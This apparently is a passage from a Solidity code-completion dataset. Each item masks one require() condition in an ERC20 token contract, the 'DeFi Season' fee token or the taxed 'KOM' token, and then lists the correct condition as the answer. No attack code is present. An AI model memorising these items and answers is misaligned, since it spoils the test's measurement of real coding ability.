function setMaxWallet(uint256 amount) public onlyOwner {
}
function setSwapTokensAtAmount(uint256 amount) public onlyOwner {
}
function setLiquidityWallet(address walletAddress) public onlyOwner {
}
function setVaultWallet(address walletAddress) public onlyOwner {
}
function setExcludedFromFees(address[] memory accounts, bool isEx) public onlyOwner {
}
function setExcludedFromTxLimits(address[] memory accounts, bool isEx) public onlyOwner {
}
function setBots(address[] memory accounts, bool exempt) public onlyOwner {
}
function setBuyFee(uint256 buyLiquidityFee, uint256 buyVaultFee) public onlyOwner {
}
function setSellFee(uint256 sellLiquidityFee, uint256 sellVaultFee) public onlyOwner {
}
function setDeadBlocks(uint256 blocks) public onlyOwner {
}
function setCDBlocks(uint256 blocks) public onlyOwner {
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool isSell) private {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeFees(address sender, uint256 amount, bool isSell) private returns (uint256) {
}
function _getTotalFees(bool isSell) private view returns(uint256) {
}
receive() external payable {}
fallback() external payable {}
function unclog() public {
}
function distributeFees() public {
}
function withdrawStuckETH() public {
}
function withdrawStuckTokens(address tkn) public {
}
function removeLimits() public onlyOwner {
}
}
| !tradingOpen&&launched,"Trading is already open" | 243,732 | !tradingOpen&&launched |
"Must keep buy taxes below 20%" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
contract DEFISEASON is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private uniswapV2Router;
mapping (address => uint) private cd;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedFromTxLimits;
mapping (address => bool) private _isBot;
bool public tradingOpen;
bool public launched;
bool private swapping;
bool private swapEnabled = false;
bool public cdEnabled = false;
string private constant _name = "DeFi Season";
string private constant _symbol = "SZN";
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 1e8 * (10**_decimals);
uint256 public maxBuy = _tTotal;
uint256 public maxSell = _tTotal;
uint256 public maxWallet = _tTotal;
uint256 public tradingActiveBlock = 0;
uint256 private _deadBlocks = 1;
uint256 private _cdBlocks = 1;
uint256 private constant FEE_DIVISOR = 1000;
uint256 private _buyLiqFee = 20;
uint256 private _previousBuyLiqFee = _buyLiqFee;
uint256 private _buyVaultFee = 30;
uint256 private _previousBuyVaultFee = _buyVaultFee;
uint256 private _sellLiqFee = 20;
uint256 private _previousSellLiqFee = _sellLiqFee;
uint256 private _sellVaultFee = 30;
uint256 private _previousSellVaultFee = _sellVaultFee;
uint256 private tokensForLiq;
uint256 private tokensForVault;
uint256 private swapTokensAtAmount = 0;
address payable private _liquidityWalletAddress;
address payable private _vaultWalletAddress;
address private uniswapV2Pair;
address private DEAD = 0x000000000000000000000000000000000000dEaD;
address private ZERO = 0x0000000000000000000000000000000000000000;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
constructor (address liquidityWalletAddress, address vaultWalletAddress) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function setCDEnabled(bool onoff) public onlyOwner {
}
function setSwapEnabled(bool onoff) public onlyOwner {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function swapBack() private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function sendETHToFee(uint256 amount) private {
}
function launch() public onlyOwner {
}
function openTrading() public onlyOwner {
}
function setMaxBuy(uint256 amount) public onlyOwner {
}
function setMaxSell(uint256 amount) public onlyOwner {
}
function setMaxWallet(uint256 amount) public onlyOwner {
}
function setSwapTokensAtAmount(uint256 amount) public onlyOwner {
}
function setLiquidityWallet(address walletAddress) public onlyOwner {
}
function setVaultWallet(address walletAddress) public onlyOwner {
}
function setExcludedFromFees(address[] memory accounts, bool isEx) public onlyOwner {
}
function setExcludedFromTxLimits(address[] memory accounts, bool isEx) public onlyOwner {
}
function setBots(address[] memory accounts, bool exempt) public onlyOwner {
}
function setBuyFee(uint256 buyLiquidityFee, uint256 buyVaultFee) public onlyOwner {
require(<FILL_ME>)
_buyLiqFee = buyLiquidityFee;
_buyVaultFee = buyVaultFee;
}
function setSellFee(uint256 sellLiquidityFee, uint256 sellVaultFee) public onlyOwner {
}
function setDeadBlocks(uint256 blocks) public onlyOwner {
}
function setCDBlocks(uint256 blocks) public onlyOwner {
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool isSell) private {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeFees(address sender, uint256 amount, bool isSell) private returns (uint256) {
}
function _getTotalFees(bool isSell) private view returns(uint256) {
}
receive() external payable {}
fallback() external payable {}
function unclog() public {
}
function distributeFees() public {
}
function withdrawStuckETH() public {
}
function withdrawStuckTokens(address tkn) public {
}
function removeLimits() public onlyOwner {
}
}
| buyLiquidityFee+buyVaultFee<=200,"Must keep buy taxes below 20%" | 243,732 | buyLiquidityFee+buyVaultFee<=200 |
"Must keep sell taxes below 20%" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
contract DEFISEASON is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private uniswapV2Router;
mapping (address => uint) private cd;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedFromTxLimits;
mapping (address => bool) private _isBot;
bool public tradingOpen;
bool public launched;
bool private swapping;
bool private swapEnabled = false;
bool public cdEnabled = false;
string private constant _name = "DeFi Season";
string private constant _symbol = "SZN";
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 1e8 * (10**_decimals);
uint256 public maxBuy = _tTotal;
uint256 public maxSell = _tTotal;
uint256 public maxWallet = _tTotal;
uint256 public tradingActiveBlock = 0;
uint256 private _deadBlocks = 1;
uint256 private _cdBlocks = 1;
uint256 private constant FEE_DIVISOR = 1000;
uint256 private _buyLiqFee = 20;
uint256 private _previousBuyLiqFee = _buyLiqFee;
uint256 private _buyVaultFee = 30;
uint256 private _previousBuyVaultFee = _buyVaultFee;
uint256 private _sellLiqFee = 20;
uint256 private _previousSellLiqFee = _sellLiqFee;
uint256 private _sellVaultFee = 30;
uint256 private _previousSellVaultFee = _sellVaultFee;
uint256 private tokensForLiq;
uint256 private tokensForVault;
uint256 private swapTokensAtAmount = 0;
address payable private _liquidityWalletAddress;
address payable private _vaultWalletAddress;
address private uniswapV2Pair;
address private DEAD = 0x000000000000000000000000000000000000dEaD;
address private ZERO = 0x0000000000000000000000000000000000000000;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
constructor (address liquidityWalletAddress, address vaultWalletAddress) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function setCDEnabled(bool onoff) public onlyOwner {
}
function setSwapEnabled(bool onoff) public onlyOwner {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function swapBack() private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function sendETHToFee(uint256 amount) private {
}
function launch() public onlyOwner {
}
function openTrading() public onlyOwner {
}
function setMaxBuy(uint256 amount) public onlyOwner {
}
function setMaxSell(uint256 amount) public onlyOwner {
}
function setMaxWallet(uint256 amount) public onlyOwner {
}
function setSwapTokensAtAmount(uint256 amount) public onlyOwner {
}
function setLiquidityWallet(address walletAddress) public onlyOwner {
}
function setVaultWallet(address walletAddress) public onlyOwner {
}
function setExcludedFromFees(address[] memory accounts, bool isEx) public onlyOwner {
}
function setExcludedFromTxLimits(address[] memory accounts, bool isEx) public onlyOwner {
}
function setBots(address[] memory accounts, bool exempt) public onlyOwner {
}
function setBuyFee(uint256 buyLiquidityFee, uint256 buyVaultFee) public onlyOwner {
}
function setSellFee(uint256 sellLiquidityFee, uint256 sellVaultFee) public onlyOwner {
require(<FILL_ME>)
_sellLiqFee = sellLiquidityFee;
_sellVaultFee = sellVaultFee;
}
function setDeadBlocks(uint256 blocks) public onlyOwner {
}
function setCDBlocks(uint256 blocks) public onlyOwner {
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool isSell) private {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeFees(address sender, uint256 amount, bool isSell) private returns (uint256) {
}
function _getTotalFees(bool isSell) private view returns(uint256) {
}
receive() external payable {}
fallback() external payable {}
function unclog() public {
}
function distributeFees() public {
}
function withdrawStuckETH() public {
}
function withdrawStuckTokens(address tkn) public {
}
function removeLimits() public onlyOwner {
}
}
| sellLiquidityFee+sellVaultFee<=200,"Must keep sell taxes below 20%" | 243,732 | sellLiquidityFee+sellVaultFee<=200 |
"ERC20: transfer amount exceeds balance" | // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
contract KOM is ERC20, Ownable {
/* Token Tax */
uint32 public _taxPercision = 100000;
address[] public _taxRecipients;
uint16 public _taxTotal;
bool public _taxActive;
mapping(address => uint16) public _taxRecipientAmounts;
mapping(address => bool) private _isTaxRecipient;
mapping(address => bool) public _whitelisted;
/* Events */
event UpdateTaxPercentage(address indexed wallet, uint16 _newTaxAmount);
event AddTaxRecipient(address indexed wallet, uint16 _taxAmount);
event RemoveFromWhitelist(address indexed wallet);
event RemoveTaxRecipient(address indexed wallet);
event AddToWhitelist(address indexed wallet);
event ToggleTax(bool _active);
uint256 private _totalSupply;
/**
* @dev Constructor.
*/
constructor() ERC20('KwoN PrEdAtOR', 'KOM') payable {
}
/**
* @notice overrides ERC20 transferFrom function to introduce tax functionality
* @param from address amount is coming from
* @param to address amount is going to
* @param amount amount being sent
*/
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
}
/**
* @notice : overrides ERC20 transfer function to introduce tax functionality
* @param to address amount is going to
* @param amount amount being sent
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
require(<FILL_ME>)
if(_taxActive && !_whitelisted[owner] && !_whitelisted[to]) {
uint256 tax = amount*_taxTotal/_taxPercision;
amount = amount - tax;
_transfer(owner, address(this), tax);
}
_transfer(owner, to, amount);
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of lowest token units to be burned.
*/
function burn(uint256 value) public {
}
/* ADMIN Functions */
/**
* @notice : toggles the tax on or off
*/
function toggleTax() external onlyOwner {
}
/**
* @notice : adds address with tax amount to taxable addresses list
* @param wallet address to add
* @param _tax tax amount this address receives
*/
function addTaxRecipient(address wallet, uint16 _tax) external onlyOwner {
}
/**
* @notice : updates address tax amount
* @param wallet address to update
* @param newTax new tax amount
*/
function updateTaxPercentage(address wallet, uint16 newTax) external onlyOwner {
}
/**
* @notice : remove address from taxed list
* @param wallet address to remove
*/
function removeTaxRecipient(address wallet) external onlyOwner {
}
/**
* @notice : add address to tax whitelist
* @param wallet address to add to whitelist
*/
function addToWhitelist(address wallet) external onlyOwner {
}
/**
* @notice : add address to whitelist (non taxed)
* @param wallet address to remove from whitelist
*/
function removeFromWhitelist(address wallet) external onlyOwner {
}
/**
* @notice : resets tax settings to initial state
*/
function taxReset() external onlyOwner {
}
/**
* @notice : withdraws taxable amount to tax recipients
*/
function distributeTaxes() external onlyOwner {
}
}
| balanceOf(owner)>=amount,"ERC20: transfer amount exceeds balance" | 243,734 | balanceOf(owner)>=amount |
"Recipient already added" | // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
contract KOM is ERC20, Ownable {
/* Token Tax */
uint32 public _taxPercision = 100000;
address[] public _taxRecipients;
uint16 public _taxTotal;
bool public _taxActive;
mapping(address => uint16) public _taxRecipientAmounts;
mapping(address => bool) private _isTaxRecipient;
mapping(address => bool) public _whitelisted;
/* Events */
event UpdateTaxPercentage(address indexed wallet, uint16 _newTaxAmount);
event AddTaxRecipient(address indexed wallet, uint16 _taxAmount);
event RemoveFromWhitelist(address indexed wallet);
event RemoveTaxRecipient(address indexed wallet);
event AddToWhitelist(address indexed wallet);
event ToggleTax(bool _active);
uint256 private _totalSupply;
/**
* @dev Constructor.
*/
constructor() ERC20('KwoN PrEdAtOR', 'KOM') payable {
}
/**
* @notice overrides ERC20 transferFrom function to introduce tax functionality
* @param from address amount is coming from
* @param to address amount is going to
* @param amount amount being sent
*/
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
}
/**
* @notice : overrides ERC20 transfer function to introduce tax functionality
* @param to address amount is going to
* @param amount amount being sent
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of lowest token units to be burned.
*/
function burn(uint256 value) public {
}
/* ADMIN Functions */
/**
* @notice : toggles the tax on or off
*/
function toggleTax() external onlyOwner {
}
/**
* @notice : adds address with tax amount to taxable addresses list
* @param wallet address to add
* @param _tax tax amount this address receives
*/
function addTaxRecipient(address wallet, uint16 _tax) external onlyOwner {
require(_taxRecipients.length < 100, "Reached maximum number of tax addresses");
require(wallet != address(0), "Cannot add 0 address");
require(<FILL_ME>)
require(_tax > 0 && _tax + _taxTotal <= _taxPercision/10, "Total tax amount must be between 0 and 10%");
_isTaxRecipient[wallet] = true;
_taxRecipients.push(wallet);
_taxRecipientAmounts[wallet] = _tax;
_taxTotal = _taxTotal + _tax;
emit AddTaxRecipient(wallet, _tax);
}
/**
* @notice : updates address tax amount
* @param wallet address to update
* @param newTax new tax amount
*/
function updateTaxPercentage(address wallet, uint16 newTax) external onlyOwner {
}
/**
* @notice : remove address from taxed list
* @param wallet address to remove
*/
function removeTaxRecipient(address wallet) external onlyOwner {
}
/**
* @notice : add address to tax whitelist
* @param wallet address to add to whitelist
*/
function addToWhitelist(address wallet) external onlyOwner {
}
/**
* @notice : add address to whitelist (non taxed)
* @param wallet address to remove from whitelist
*/
function removeFromWhitelist(address wallet) external onlyOwner {
}
/**
* @notice : resets tax settings to initial state
*/
function taxReset() external onlyOwner {
}
/**
* @notice : withdraws taxable amount to tax recipients
*/
function distributeTaxes() external onlyOwner {
}
}
| !_isTaxRecipient[wallet],"Recipient already added" | 243,734 | !_isTaxRecipient[wallet] |
"Not a tax address" | // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
